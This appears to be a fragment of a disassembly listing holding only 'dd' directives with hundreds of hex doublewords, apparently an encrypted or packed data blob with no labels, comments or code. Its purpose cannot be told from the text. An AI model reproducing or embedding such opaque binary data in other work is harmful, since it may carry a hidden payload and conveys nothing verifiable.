		dd 745A8188h, 0C2FFC96Ch, 0BE7ECF5h, 1AC1B966h,	536A8075h
		dd 0D0A9E960h, 9E3387B1h, 0C0E25645h, 0B9018C58h, 33027730h
		dd 75205F51h, 8249BBBBh, 21703B62h, 2B4F9041h, 1B849E27h
		dd 3CAAE495h, 3D268530h, 68A86556h, 0C808DF00h,	2711B957h
		dd 0FC184A77h, 4C5032E5h, 0FF3675A6h, 14D07B97h, 522F8195h
		dd 6870E4D1h, 0EC6C4AB8h, 0A802C891h, 6AD43D7Fh, 0C00C4FB0h
		dd 87C8E62h, 2DE8EE05h,	50F52C11h, 841C0806h, 0E9208014h
		dd 91DA95B3h, 72A31C5Ah, 0FF889492h, 6FD73961h,	89EED78h
		dd 0D6982AEAh, 2539B57Ah
		dd 20407D12h, 0FA3E6911h, 0EBE3820Dh, 5514310Fh, 1848509h
		dd 5FBD013Fh, 0FC30DB37h, 0E0294DDh, 46AD66A8h,	2EF3212h
		dd 0B9E309C5h, 464277F5h, 898B8671h, 8CB0F77h, 0A45C27A1h
		dd 9EA0758Bh, 0E908ED2Bh, 2639E134h, 315BDC70h,	402590F0h
		dd 0DA7A889Dh, 188DD8B5h, 3F33A868h, 0BE80B7D5h, 0CF2C077Dh
		dd 0C2E6D13Fh, 8DA93C8Fh, 4BF72F75h, 4D0E2446h,	0EC20C0AAh
		dd 6B7D7936h, 0DFA1264Fh, 68C3BC22h, 6D1631E3h,	0BFBDBB40h
		dd 1DDCEBCBh, 0AE126444h, 56015CCAh, 0D01BAE68h, 0EF184333h
		dd 0CAC4BB4Bh, 85F4B2BBh, 93214668h, 0F23E0FD6h, 0F0D18962h
		dd 0BD98B8EDh, 760CEAD3h, 4A52C338h, 0F019B218h, 99A2D0E9h
		dd 525F8FA6h, 0A277414Eh, 564E78F3h, 5F5841C1h,	725610AFh
		dd 0F6815C8Fh, 119D8F9h, 781B3EF1h, 0D9BB01A1h,	29B4FD09h
		dd 0F9D2A06Ah, 73535F2Fh, 26F63D0Ch, 8EC7693h, 8620C7D4h
		dd 0CD218124h, 0D87DECC0h, 9E3C907Ah, 0C9BD0059h, 0F70BCA7Eh
		dd 0C827D57Ch, 0A667D9B2h, 103F19FEh, 0A4BFFDACh, 0D6162AB5h
		dd 0CD2CBCBDh, 7E4027F7h, 0DB13F75Fh, 93E1E3D1h, 0A4870A64h
		dd 97C5F4EAh, 0E5DE5042h, 8DAD9D64h, 45FDF703h,	0C053AC7h
		dd 954C0AAh, 0AFB785FFh, 1F6A0ED8h, 913A557Bh, 544A50D7h
		dd 67AD5C9Dh, 17E6D90Bh, 3C4AF4Ah, 0B209BEB3h, 960130F4h
		dd 6B05EAC0h, 73BA801Ch, 2DBAC258h, 1C2E7ED0h, 0E35827BAh
		dd 0B5FC3820h, 5FD6CE8Fh, 0BE668C3h, 29743BE8h,	6EA51400h
		dd 494B60E3h, 0B7AF0E9h, 7BA301C0h, 8817F6D6h, 0AB537EC3h
		dd 8BF9B8D7h, 0E279B51Ch, 450C6ECh, 0EDE9CC88h,	358FFB9Ch
		dd 3CD3660Bh, 32F6C422h, 4B9C5B06h, 0B72D41D4h,	0D862FA7Ch
		dd 2317B2EAh, 52BE7D3Ah, 6AAFE02Fh, 0D349AEBDh,	0D02F87A1h
		dd 5966C803h, 18C9CCB0h, 24C4DCA0h, 0FB01C271h,	0F30CCFDh
		dd 0F3976A9h, 0E94905B3h, 0CA13AFE7h, 573D78EEh, 0DE613541h
		dd 26F804A5h, 0C44B0A28h, 68AE20h, 0F8128B0Dh, 1B5B255Dh
		dd 566A2A0Fh, 0E44607BEh, 80A06E5Ch, 2239B9BDh,	5694DF5h
		dd 56F17BCAh, 0B52004FBh, 25D11435h, 0CFA0D5EBh, 71E53334h
		dd 2EACC09Dh, 8A7465B2h, 0EC540901h, 0D12F26FEh, 6C5D69B5h
		dd 5BDE2F10h, 0C46263F9h, 57EA0FA2h, 5FA6CF9Eh,	214D1ACDh
		dd 0DB4A3C27h, 0EFE76FE8h, 95EBFF0Ch, 4A5B3D7Eh, 0DE1CDF4Bh
		dd 945D2501h, 6EF7FE24h, 45A11FFAh, 70039F55h, 0E2BF4BBFh
		dd 0DD4275DCh, 6E7270F6h, 57E29FFDh, 0A9208F44h, 767495DBh
		dd 2D1020D1h, 9A277756h, 2232A44Fh, 921887FDh, 0DEB52431h
		dd 24645BF8h, 21C4FB6Dh, 0DDDEE3F1h, 7949BC63h,	89985FE2h
		dd 4AB6700Fh, 9069A652h, 3C68B0AAh, 2598B737h, 489F50ADh
		dd 0B7258A93h, 0CDA1C3C6h, 0C1810093h, 860D13BFh, 3FED1E61h
		dd 58680851h, 931BC04h,	2E6AB173h, 0B31564A1h, 2E1C39BFh
		dd 9D33F8DDh, 0EF6D1293h, 0FC4E94CAh, 6E68B06Fh, 44EE9640h
		dd 50BEA354h, 0CD4063EEh, 0CACF5201h, 174F0E10h, 2EB25A66h
		dd 35799F16h, 9446AE83h, 1716E7DDh, 327A5D68h, 18DD53D5h
		dd 952FE91Eh, 8AC13EA0h, 0E527741h, 6B08419Ah, 16A7CE89h
		dd 0F6BD255Eh, 0D1491327h, 67548A90h, 19FF6A93h, 2AC75F2Ch
		dd 1016F550h, 285E1C3Ah, 0D0582115h, 60EA24D5h,	317316AFh
		dd 20C31FBBh, 0F5413E3Bh, 2DA92949h, 0D47EB7EDh, 19F11E4Ch
		dd 60584FD2h, 7F497BA3h, 10803F6Ah, 0C25F5CCFh,	720C72D9h
		dd 0C02807B3h, 308004EBh, 1F6851F1h, 9213E8B9h,	0DE4525A9h
		dd 13AE9804h, 73BC619Dh, 0D680052h, 0B927B114h,	70A5E2BFh
		dd 45F680C8h, 17F5071Dh, 1A44EE9Fh, 0F5ABE62Bh,	2BAAE5FAh
		dd 5EF09B10h, 21A52DBDh, 2E49ED16h, 4E875333h, 0E97271DEh
		dd 0C7217A65h, 5FDE1676h, 0C678D7D8h, 0CA20FEF1h, 0B81A8E35h
		dd 7B902576h, 2D04BCDAh, 63703C75h, 98689FC0h, 3A999D27h
		dd 91847B33h, 0AED412BFh, 5C28108Eh, 0ED7E4F95h, 7B7C841Bh
		dd 3A7E63AFh, 0BB0512EEh, 2E9A5C26h, 81A180BFh,	113E7FCBh
		dd 3A165834h, 2DBB12DDh, 12FA6B1Eh, 290812DAh, 98DC2DCBh
		dd 0BF015426h, 4E2A641Bh, 0E92ED5FEh, 0C2440017h, 0B75359C0h
		dd 0DFF62C1Dh, 5206EFC1h, 0D6E0FE88h, 591E2FE9h, 9766552h
		dd 4B7EE697h, 0BB2CC521h, 62691D6Ch, 0D8F741F0h, 5635B2C0h
		dd 29482A71h, 0BDBE7C4Ah, 2973389h, 0F25520F5h,	80250FBFh
		dd 0DD4751C3h, 3BED635Bh, 577CEB82h, 65D16B09h,	0B839068h
		dd 0CE7843E9h, 0DAF1972Fh, 2C264EACh, 0E93D0D02h, 81717C66h
		dd 52D50CEDh, 9CF06AFAh, 2C414062h, 0A4F2144Ah,	3141C14Eh
		dd 90CADFCEh, 18584589h, 0C4F28BA3h, 44AFF70Bh,	5FA2B013h
		dd 0D2F7C89Dh, 0C85D8A69h, 27135160h, 0E27C17A5h, 7621EB3Bh
		dd 22BB1712h, 9FE8BAB5h, 1A176EB9h, 0FEA83D66h,	9E61805Ah
		dd 7690C767h, 0C22F26E8h, 2763F855h, 764853BEh,	0F3BC62EAh
		dd 0D83E69EFh, 5A5809D7h, 2751CB20h, 13130069h,	9A9505E9h
		dd 0CD43FF2Fh, 0D3060E38h, 0E807B82Ch, 0E4814B04h, 6B8887E9h
		dd 96088DCCh, 0FB5A1640h, 1A872E13h, 3B53D7C3h,	3D134518h
		dd 54EAD32h, 2397A84h, 71A06F80h, 61E91341h, 9753BC4Eh
		dd 55040AA8h, 8D117A68h, 951F7EA7h, 2DCF65E7h, 0CC0958D1h
		dd 94131447h, 0DD7C31ACh, 0B9E07F5Ch, 2F059FBDh, 0F18AFF5Eh
		dd 0E771FA92h, 4702B7E0h, 0AC92D180h, 0F295DF0Ch, 305432A1h
		dd 7075C74Dh, 6EB9F616h, 44A53460h, 0D0FD582Dh,	90BD5C13h
		dd 1E8B205h, 95047EB0h,	0D12CD028h, 51842B5Ah, 27E9D2B0h
		dd 0CCDEBD18h, 9685678h, 1FAE11E9h, 46401ED9h, 48F7EED1h
		dd 7E019CDEh, 0E9710873h, 0CF0B354Eh, 60D5D1F2h, 2C3FB9A8h
		dd 5114A2h, 558D5BE3h, 7A41FAE9h, 94610660h, 14919A67h
		dd 0EC7D9509h, 0F0B300AFh, 50C7CB80h, 59058B0h,	32BA2FD7h
		dd 717757B8h, 0A536C2B9h, 0E089C979h, 11D42C66h, 0BF4440BDh
		dd 0DCB1801Ch, 422F4366h, 52EE7427h, 9DAAB80Fh,	25192440h
		dd 5996FA7Ch, 0F63F9509h, 0D2006F61h, 0E919466Dh, 0DC3B7A2Dh
		dd 0E53CC40Ch, 0F2C06FF7h, 80291773h, 4F042ABEh, 72CE684Ah
		dd 88D2D5F8h, 14407E02h, 7BFA955Dh, 45350E80h, 70EEEF2Ch
		dd 0CD82B79Fh, 0D506E96Ch, 0DAEB20A0h, 3A4FE556h, 840FCB9h
		dd 1CBF25Ah, 39685250h,	30072478h, 0C2B5D3C3h, 5B145F25h
		dd 0C635504Ah, 68FF3413h, 0C0BF3BDAh, 0C12BE398h, 72A5EE8Bh
		dd 0B8FE4540h, 7A551004h, 0B0CE3327h, 0C068580Eh, 0E7251C16h
		dd 0A8E90549h, 29C3E9BFh, 6CA89D13h, 0CC211A04h, 5CFF5E42h
		dd 8AB6C33Eh, 7F4AAD65h, 0F4019485h, 1AB07867h,	4AB20B6Fh
		dd 0E90618D6h, 58BBBCC9h, 15589EC7h, 6E48293Bh,	8969F519h
		dd 86AC39F8h, 0B11609B7h, 526663EAh, 0A0302032h, 0B559A75Dh
		dd 90C5FE93h, 3D5F6CDh,	2896F580h, 0C7B059EFh, 0FA098805h
		dd 58D2C5Bh, 918766F5h,	69475D69h, 7718362Ch, 1774EBBDh
		dd 0FF300771h, 3EF51641h, 0C8883F2Eh, 201777B2h, 2B0BAF91h
		dd 5988386Bh, 2963E294h, 6814094Fh, 2B9A424Ch, 0CC0B335Dh
		dd 956C4488h, 484B3C7Eh, 55B3E906h, 6460E37Bh, 581C27CEh
		dd 0E98356C5h, 0A1645B26h, 3E73B1E2h, 456796DFh, 0FEEA019Bh
		dd 0E938BE8Eh, 0F64999ADh, 11092A58h, 5A82D95Ch, 0BF542B5Ah
		dd 68125392h, 0F6CA51D9h, 0DD1D494Fh, 0FDD4DFC2h, 0B1B979E9h
		dd 6E9C88h, 2DC1D5F7h
		dd 0FC6008E5h, 8FA893C3h, 0A92D3640h, 4488C11Bh, 5B550F8Bh
		dd 5E95707h, 0E2259033h, 9F0C1471h, 10D2F742h, 0AC4A146Fh
		dd 472F9037h, 4BF2815Ah, 10A9FB58h, 512C0FB1h, 14328E9h
		dd 8007E5C0h, 2B30ACC5h, 0AF38F9F1h, 0C06EF76h,	4CA6CE20h
		dd 0D910D755h, 315F127Fh, 0AAD284ABh, 3D8641E7h, 10A8173Ah
		dd 7E1E662Fh, 0D12F294Eh, 5E0CA00Dh, 842DB95Dh,	12163EC1h
		dd 0CD5802C6h, 6D419A30h, 0A0843FAEh, 0E6F4D8FCh, 0F99D156Eh
		dd 22582717h, 0C6B46033h, 2D5479B9h, 2A73B7DAh,	0E9685C8Fh
		dd 46147F25h, 0A5A436BEh, 2F807625h, 712CA2D0h,	1C6B3CBCh
		dd 4A68274Fh, 542574C6h, 9215D75Fh, 9909EEA0h, 73AA3Ah
		dd 0D105B616h, 13E5EC65h, 0F8F2093Bh, 20177C26h, 0A917219Ch
		dd 0EDA2EF61h, 0FCC3FE01h, 3A95DC6Ch, 79B1029Fh, 655C07A3h
		dd 52B5D288h, 0B028987Fh, 406290B7h, 0EFB7568Ch, 13DBA55Ah
		dd 2742AC26h, 0C2ABFC5Eh, 0DCA2490Ch, 9375FB77h, 518A10C2h
		dd 3DB05B2Dh, 497B3D2Eh, 17E05ABEh, 232FF5F2h, 0B0C0A60h
		dd 975BFD12h, 0DD49C9F6h, 0C981A21Eh, 0D4353C0Ch, 23A31CBCh
		dd 1C1CD525h, 53805E97h, 0B6BB4F0Ch, 9C13E16h, 0F4E908E3h
		dd 6454F9C2h, 4F20A928h, 295E177Ch, 5300FFD1h, 4EB60435h
		dd 97F70781h, 606DB94Fh, 0EE13F6EFh, 3EE95113h,	0ABD994BEh
		dd 0B6C06BB3h, 23F680DEh, 2664C6E6h, 682470Ch, 75852C3h
		dd 584DBFCFh, 0C9E76077h, 6E16F202h, 261BDF87h,	0C7860508h
		dd 0C50FD24Eh, 0E9C74281h, 40C495EEh, 254F3C7Dh, 890FE0ECh
		dd 5A0B4F50h, 43090EDFh, 783278CFh, 52EA38D0h, 0AB2A0F31h
		dd 675CA6Dh, 120CAFFFh,	50FCE97Dh, 13926EBFh, 2D39A003h
		dd 5F087701h, 5E80176h,	20B30745h, 0E86CEB4Eh, 487D4D3Eh
		dd 1262998Fh, 53A0138h,	45255D0Ch, 54509FE3h, 0CC7C4E6Bh
		dd 69177FF0h, 0D5AC0630h, 0AC3D8497h, 0A0AF9F19h, 5EB2F359h
		dd 0CB9CA00Fh, 9D070AE8h, 0A9430Ch, 0DFB3A552h,	0F097DA09h
		dd 3A831CF7h, 7EE94432h, 1FCAEEC3h, 0ED272016h,	0B59E343Ah
		dd 5D4C9C09h, 28661839h, 0B7B08F80h, 1E7304F4h,	0CA746F42h
		dd 49EE5C45h, 72C8A9FDh, 0C0D95BCFh, 39685EAAh,	22F6899Ah
		dd 0CD31714Ah, 32D2E8Bh, 62CEAD54h, 90122D47h, 8DAB5904h
		dd 0C47D22AEh, 93B1B4E9h, 40BE6130h, 9290536Dh,	2C3DDF02h
		dd 84FB8954h, 0B1BCF0ABh, 2634B44Ch, 6488BF0Ah,	0EB00F3Ch
		dd 5DEB310Bh, 505D9EE2h, 0CE292777h, 5A0A96E5h,	5E93DC56h
		dd 5821B600h, 1C092C42h, 0A511E9EEh, 0CE20B0C7h, 1BBBD96h
		dd 79ED6A72h, 32965051h, 187E9A84h, 0D1C321E9h,	0BE5600EBh
		dd 7FD05C9Dh, 0DA974E46h, 9A18098Dh, 885D0CBDh,	300296AFh
		dd 0F4C0807Dh, 0F049169Fh, 8419B0ECh, 0B8567B34h, 4A98AC05h
		dd 5E5B3E30h, 52230220h, 0C8032DBAh, 0FDE24440h, 17863217h
		dd 0EA007CB8h, 0A8C5E50Eh, 49B5C7E9h, 0EE702958h, 0E8A29208h
		dd 7D1E7E99h, 98AA718h,	0C4D725D3h, 6436FB3h, 0AB5C4185h
		dd 596ABD61h, 0E982082Dh, 80005725h, 4E88D4C1h,	131453CCh
		dd 2F9FF95Ch, 0FD0E894Ch, 59217C8Bh, 2F72A368h,	1D459A30h
		dd 0BD0F000Bh, 18055C11h, 49B4F9E9h, 0C680B220h, 56984EFFh
		dd 9F0BB3EAh, 0D289D3AAh, 44D96BDh, 0BEC476E9h,	277ECA8Eh
		dd 0A1733BD5h, 605A07B2h, 853EFCDEh, 374C782h, 1058FE22h
		dd 87F14F95h, 91A08EE0h, 0E6DCBDAEh, 5A57B01Fh,	57B06Ah
		dd 663CA337h, 0F7BA0277h, 3171327Ah, 5FF21E68h,	54DE4C18h
		dd 19F5F928h, 1E01AD75h, 628B6329h, 0D610587Ch,	83DC80CDh
		dd 0E468B306h, 841F7E5Dh, 0FE17F277h, 7D2CD713h, 0C0F81EB7h
		dd 0C7FECCE7h, 0C8D1050Ah, 0C8882CF8h, 0B4506600h, 0EDE50818h
		dd 40138660h, 9618BAACh, 0E286E338h, 3D010180h,	7FE9425Ch
		dd 4ED673AAh, 6B7B46F0h, 0E9F01533h, 0F901D77Fh, 0C1815A5Fh
		dd 7E30190Bh, 0CA21ED29h, 90890804h, 352DBDE9h,	6DCFDA04h
		dd 85C8FE46h, 7AF55801h, 56464A25h, 63334F00h, 31760D3Dh
		dd 0D115047Bh, 0C2E8C1E0h, 746A04FCh, 0C14B5B5Dh, 22F799E9h
		dd 66CC9E23h, 12E82B35h, 0EA59B42Ch, 0D7684E60h, 0B448A817h
		dd 0D4F6012Fh, 0D0B8EC80h, 0C090D7E4h, 0A44E92E9h, 68AEA3D0h
		dd 0AB4897CCh, 0CA8232ABh, 40F5624Ch, 2E7939AAh, 0E0B31A8h
		dd 2E4923A6h, 0EAF04D00h, 294C33CEh, 326809B6h,	9007C641h
		dd 6180BD28h, 7A636599h, 7D80E910h, 0FAD7715Fh,	45000575h
		dd 4F994D90h, 0C982D64Bh, 0B9FB418Dh, 4288123h,	5FEB807Fh
		dd 6C529970h, 0C2E0AB2h, 45BD6F5Fh, 441BD6DEh, 0BFA3B72Eh
		dd 0F85395A0h, 8E475BBCh, 0D75E5A8Ch, 77EB0D0h,	980EC8E1h
		dd 2EB8B264h, 0BF0B2F46h, 4C676D4h, 0E781D70Fh,	0F3289BA4h
		dd 23300A93h, 0E25E9608h, 25CEC467h, 7904A754h,	0C25B1443h
		dd 8F2BE67h, 2B09194Eh,	58E75F59h, 9830923Ah, 35D28737h
		dd 0BBACCD9h, 0FA88F9B7h, 0EF078A05h, 29683128h, 85E51C0Ch
		dd 0B8C987E9h, 76B1A1F8h, 4D40417Ah, 3B15AE13h,	0D37861ECh
		dd 0E722BE33h, 791BC092h, 2FFB057Eh, 0C8463DE9h, 555CD331h
		dd 0C7891315h, 0A1E71C00h, 6032062Dh, 4A9C2047h, 9416991h
		dd 56D9B002h, 217C2732h, 8796D7A5h, 0DC5DEA25h,	8B5A69A3h
		dd 6453C325h, 76BE012Ch, 1CFF8DAh, 641DFDDEh, 0DCE34615h
		dd 79B789ABh, 48264CFAh, 0FD071895h, 7BA802Dh, 19284312h
		dd 0B79A00BFh, 16E9FC22h, 7FD0554Fh, 185011C7h,	0BC6BF0Fh
		dd 5D5DD2E9h, 22471055h, 0C94D1C4Ah, 0C15958C1h, 0F7C9C6A5h
		dd 8222D11h, 4E1F5F36h,	0DC0B31A6h, 284ABF16h, 2A4029EEh
		dd 0B1C74BECh, 0E0CB05E6h, 0B04E03E8h, 0F7C9D4A8h, 0BA0EB5D8h
		dd 536E2763h, 98EA3AC0h, 0EC7EE49Dh, 23FA0ACAh,	18D209ABh
		dd 0E9A66A06h, 5152D424h, 1E742C2h, 58554768h, 0F4A996ABh
		dd 48E43E5Dh, 2F5316EAh, 0AB946439h, 2CD3EA45h,	0F490885Dh
		dd 3732BA62h, 219A650Fh, 49D441BFh, 202A8E3Eh, 613FD130h
		dd 4D050186h, 4811124Ah, 690DF17Eh, 5AD7042Fh, 8BEFFA21h
		dd 46F86C61h, 4E02E0C2h, 0F306EB08h, 6F5BBBh, 6C4A28EBh
		dd 57C32950h, 54DCFCE9h, 25A6C8BFh, 7C09FE78h, 841026F7h
		dd 7066F60h, 0C73C473Ah, 0F6A79714h, 0F85B56BCh, 6D95260Dh
		dd 278C529Dh, 6F22DC2h,	0F4237608h, 15BBC31h, 5C8CECB8h
		dd 54814A66h, 346E7FEEh, 1D685A09h, 0BE59C620h,	63EF409Fh
		dd 0B48AF4Ah, 0AE6C38B6h, 0C0083AA5h, 0DC680445h, 3569BE6Dh
		dd 0D57BF72Eh, 36ECC4B3h, 0D203C10Bh, 0D9C4FA68h, 90F0CE4Dh
		dd 12FB2D4Bh, 229BAFE6h, 2AF1E90Bh, 96BD857Bh, 529C4888h
		dd 43BB2E68h, 9056C570h, 710225B1h, 35161501h, 6F19C18Dh
		dd 7BE95020h, 0E133CAF3h, 0FC9409C9h, 3D62575Bh, 0DB4E776Eh
		dd 0D89A994h, 0BCE5F93Ch, 24C4BAFh, 5E542EC7h, 0FF2DE1E2h
		dd 0ADA2B532h, 2C57746Dh, 82825213h, 0A75D1D87h, 0B17EA5C5h
		dd 59616B8Ah, 0B90003B3h, 63D4F14h, 46E61368h, 4EE4C49h
		dd 1013E2ABh, 52500279h, 2F4216E5h, 9220AE17h, 5FE2B1AAh
		dd 133CC584h, 9F85EE95h, 20B0B482h, 2463F6CDh, 0F50E307Ah
		dd 53672E3Fh, 62F422F0h, 2EB27CFh, 0F5CBE4F4h, 5051DB90h
		dd 8892B013h, 83E99902h, 2D33451Ah, 9B98DDE6h, 8D56623Ch
		dd 28D90176h, 998B0804h, 806FC84Ah, 8E22D5Bh, 16131448h
		dd 3EE6A310h, 0CF305881h
		dd 0A0D12B5Ah, 157EB9EAh, 28275CECh, 0C8732006h, 0A10F0C71h
		dd 817CA550h, 801022F1h, 9FA9E9FCh, 0E8BFC901h,	81573074h
		dd 7709F706h, 0B0C2B18h, 13F33A22h, 0C7ED20DFh,	5FB18F44h
		dd 0C3DD20CFh, 2F724854h, 0E91E912h, 14D32CBBh,	0D31F0888h
		dd 30DAEB72h, 4D60E90Bh, 0B5002E71h, 59EE2864h,	0DFD9E680h
		dd 0C624FB06h, 238A095Ch, 360BACD9h, 8853D630h,	0C427A046h
		dd 62426FC4h, 7970895Fh, 9A857D6h, 7E27DAFEh, 5BDA58A6h
		dd 0ACD8575Bh, 0D8680B37h, 91BE662h, 3B874325h,	0EC9C484h
		dd 9A78F80h, 5917615Ah,	0D3153C7Bh, 0F6203F9Ah,	0EB801E42h
		dd 7182087Eh, 0F6043112h, 290C11CFh, 0CE5BC4D8h, 5D4C02A2h
		dd 8ED6252Fh, 6BB92D6Fh, 0BBD6C52Fh, 34C5D2D0h,	5798278Ah
		dd 0A1980158h, 2C23B40Ah, 742FBD31h, 18E98938h,	5E4A7D78h
		dd 50A1F7ADh, 0F3D92A19h, 2CEF8F05h, 0F36B4138h, 0A88B754Eh
		dd 733F05FDh, 0C00091FCh, 0EC8007E4h, 0E63C8828h, 30DF358h
		dd 6B10D368h, 3117D73Bh, 401934C8h, 0C3289592h,	72896814h
		dd 22A58436h, 5FC5560Eh, 518AEA6Bh, 43CAE116h, 66067C1Fh
		dd 96BEA3A7h, 0B60FA312h, 0B7AF21BBh, 29C9741Dh, 0E504C75Ch
		dd 5FC8FBD2h, 2EF9C0D0h, 0BBA4F5F8h, 465E45CBh,	0BA515F34h
		dd 34AAF495h, 0ACB2FB14h, 1D6EE9C2h, 944E6EFDh,	541AC240h
		dd 0BB805803h, 59C8827Fh, 0AE174E3Ah, 51D30301h, 2C996AB1h
		dd 0C0D90678h, 18CB59CEh, 776FC2Fh, 69D108BAh, 27963082h
		dd 7DA59D5Eh, 0A25DB50Bh, 0A2DCD529h, 0BBCB8998h, 9B0B73Bh
		dd 14178375h, 4768D3F7h, 1E832926h, 0FC27545Bh,	0A455F484h
		dd 0E0BD5FBh, 9029FC5Ah, 4BABE98Dh, 478D3444h, 0E27DC533h
		dd 6EE462D5h, 451A5625h, 1E51080Dh, 9F7D42Dh, 0ACDE4924h
		dd 793F7462h, 3C5814DEh, 75CA9627h, 719BBC63h, 23EA5B02h
		dd 757D5075h, 0E93D9F5Bh, 0AC6C590Ah, 0E2542DDCh, 62CAD7FAh
		dd 0E2195175h, 456C1592h, 0EC581012h, 5B6DE104h, 82131EAh
		dd 0CDA9646Ah, 0E6ED8102h, 0E43E1D12h, 0ABA82001h, 0A2956673h
		dd 1C38D3h, 68D830ACh, 1974B62Fh, 0D6219BEEh, 0F951A243h
		dd 0F547686h, 425BF82h,	0F717EBF6h, 2BAC0313h, 0B8D7EFDAh
		dd 0D21BFDEDh, 0C83CFA2Ah, 0FFAE7F4Fh, 66C7386Ah, 0D9180599h
		dd 27685849h, 955C34E0h, 7126C2CFh, 8DD3C038h, 0C8AE09C9h
		dd 0A009DF29h, 81B8B624h, 7B379464h, 478D814h, 0D5122AF0h
		dd 33E529C5h, 3FF4FDDBh, 0E9D30901h, 0D099F3B4h, 0E5068281h
		dd 59636915h, 14354585h, 6784300Eh, 84590937h, 5B03824Dh
		dd 0E192B42Ch, 87B1B783h, 7064B885h, 0E9F0D07Eh, 79B95D33h
		dd 42AEB9F5h, 2D25EE2Dh, 45AD307Ch, 0E10196BAh,	78722FB2h
		dd 90736402h, 16E84E50h, 0AA3DAA2Bh, 8A1CBD0Ch,	0CF1ED357h
		dd 9B10E935h, 0B2C1DEEh, 1F4C97CCh, 5FF5FCE2h, 44F0D383h
		dd 3A2B3E81h, 404E42E4h, 0D85F3153h, 0BD8F40EDh, 9C31EE32h
		dd 0E381F7D5h, 0B065BBEEh, 3E676003h, 7E6D3A18h, 0F622BA0Ch
		dd 0C23EC808h, 0DB015113h, 62B43EB2h, 12B69B20h, 0BA76AA1Fh
		dd 7059B20h, 0EA2CFC1Ch, 666414F4h, 0A989E435h,	2F0EAA29h
		dd 0CD313A5Eh, 8FD5F708h, 665D595Ch, 9F263402h,	2A24B5E1h
		dd 0F8213E04h, 9C301E2h, 5EE2E9C2h, 0C118A864h,	4894D364h
		dd 0BD2F9A45h, 756A6BF1h, 0A70A0B37h, 983A7802h, 0FF7A7F7Fh
		dd 0A68ED10Ah, 299CB08Dh, 338301E5h, 0F92A7656h, 2113089Dh
		dd 730F4D78h, 49551EAh,	0FB588535h, 2908BB52h, 0A923AC4h
		dd 1748B91Ah, 49AAEF81h, 6BFF5B2Ah, 3206D944h, 9FFD01C8h
		dd 0D7690656h, 35543B07h, 5C1A8126h, 0D79F1135h, 0E46F4165h
		dd 66671EB5h, 3EF3BA1Ch, 0CA81C0B0h, 0CC2D276Ch, 4358554h
		dd 0EA58D0BFh, 2225EE39h, 9F0F497h, 4820D8E9h, 627C1C35h
		dd 0E02D3403h, 0FA32DAB3h, 90DA7839h, 4E2A96E0h, 10C0A296h
		dd 0E9C9289Bh, 0E311C60Ch, 634052B8h, 0B3530359h, 0DE8852F2h
		dd 5B5AF090h, 0E9E6D3B0h, 0B7B93FF9h, 0D96409A2h, 79589425h
		dd 6E340DCh, 63000C62h,	433DB951h, 9876FBAh, 466BE9D9h
		dd 7882E7E9h, 0E0D1097Fh, 0B1B95496h, 0C9F03108h, 0EF0104C6h
		dd 1773EF57h, 501E1C68h, 0B468C156h, 0E635BF12h, 63C7B180h
		dd 89855D3h, 6541FC41h,	0B4E043E2h, 4F86F86Dh, 878C98BCh
		dd 0B0A26869h, 14397D6Ah, 7E310876h, 0C48CA24Eh, 563301BBh
		dd 29030CC8h, 93F42ED2h, 1A66956Eh, 9288425h, 0A6E6D572h
		dd 0DE58C627h, 0DE01D82Ch, 277C7397h, 84A19E75h, 0FEE91BD4h
		dd 0CCB16FEDh, 0FC4BAF37h, 8EDF2739h, 169E2564h, 44A37E20h
		dd 581F470h, 108D7F6h, 4802B877h, 52BB094Dh, 199A82F5h
		dd 0FBA74894h, 0F5109D57h, 689F4F68h, 9A6615D0h, 5BDD2E34h
		dd 3BF30192h, 60011B63h, 8A0ED69h, 60096853h, 0D30BEC24h
		dd 38170D85h, 1EF70044h, 4D35A4Ch, 626DCECh, 7F62032Bh
		dd 0B2060376h, 3C165028h, 25D498E4h, 88755B32h,	0C525082Bh
		dd 0AEF62FD6h, 0A4BBE90Bh, 15A343ACh, 6E4E0192h, 613C5A2Bh
		dd 0A68B2A01h, 676BC702h, 0EAD02A8Eh, 6008EF51h, 7C40070Bh
		dd 0E24C2FE9h, 50B9144Bh, 0D9776A3Fh, 11847B3h,	7ED1BE16h
		dd 4531BA32h, 0FD8212C5h, 5DE88009h, 1353E0D3h,	0B65F66E9h
		dd 208348CEh, 0D1293BEAh, 0F206EEA7h, 0A00BD24Bh, 806EC012h
		dd 615DAA2Bh, 8B0CCE02h, 89BBF882h, 2C9FA7E1h, 8DDA5A9Fh
		dd 0B9E95009h, 0F35F14C2h, 0F9218233h, 7050ACE9h, 3D8BF04h
		dd 0D682079Ch, 4B9E9145h, 9778AFE4h, 0EF30C3D0h, 685A4EE6h
		dd 1CF19F8Eh, 0D214B089h, 2EDC2027h, 158807B1h,	3D0A2417h
		dd 23295802h, 685DD2F7h, 520416Bh, 0AAE90CE8h, 930CF831h
		dd 0BED7C2F3h, 0F753C762h, 74896A19h, 0EB5DF70Dh, 39B65F85h
		dd 77916809h, 0C0804271h, 295F4302h, 4B08F04Ch,	9905BE59h
		dd 0F10BF57h, 2A9510E5h, 29C2A34Ch, 0A74489EBh,	0E63405Ch
		dd 0D793E983h, 49DF2DE2h, 0B7A4A9C6h, 8A23EA01h, 6AB0EA5Ch
		dd 18754BEh, 21337B25h,	7E807A17h, 5ABD6678h, 0D7E1EAh
		dd 9B59A1E8h, 54E9670Ch, 122D3A7Eh, 88180Ch, 1AD8C618h
		dd 68986403h, 0A7E95209h, 0AABCF5B4h, 805071A2h, 0BFE9594Fh
		dd 0A693F43Dh, 353CBB54h, 65DB2E68h, 7F59C2E6h,	0FD099E45h
		dd 92B28157h, 0A641803Ah, 9054772h, 42FCF319h, 0C1DD7E25h
		dd 6B1CD368h, 0F5FC7D33h, 6534C8B3h, 3EBE0011h,	292DC2F7h
		dd 0E918F8A4h, 21205B2Bh, 60979CF0h, 0AA28CD2Dh, 77891A27h
		dd 68E3BF10h, 0FDA5A491h, 6815E394h, 3BE538F6h,	1FE841A2h
		dd 98F7A60Eh, 67DA2078h, 0C89CD1BFh, 53BB05DFh,	980EFF8Ch
		dd 6C4A2434h, 0D078BC0h, 0DDE2E770h, 0D60B9844h, 0DE0A5DA6h
		dd 25D827AEh, 0E6C59227h, 0EBD69D25h, 0B5371DAh, 0B944F4E6h
		dd 0A077295h, 5D18FA29h, 499D1DD2h, 0F6845468h,	4660FB6h
		dd 0D4B52335h, 5391FDF7h, 0A49FEEC1h, 0ACF745C6h, 0B1DB86Fh
		dd 306C75E9h, 28173564h, 2010582Fh, 6812299Bh, 64AF1131h
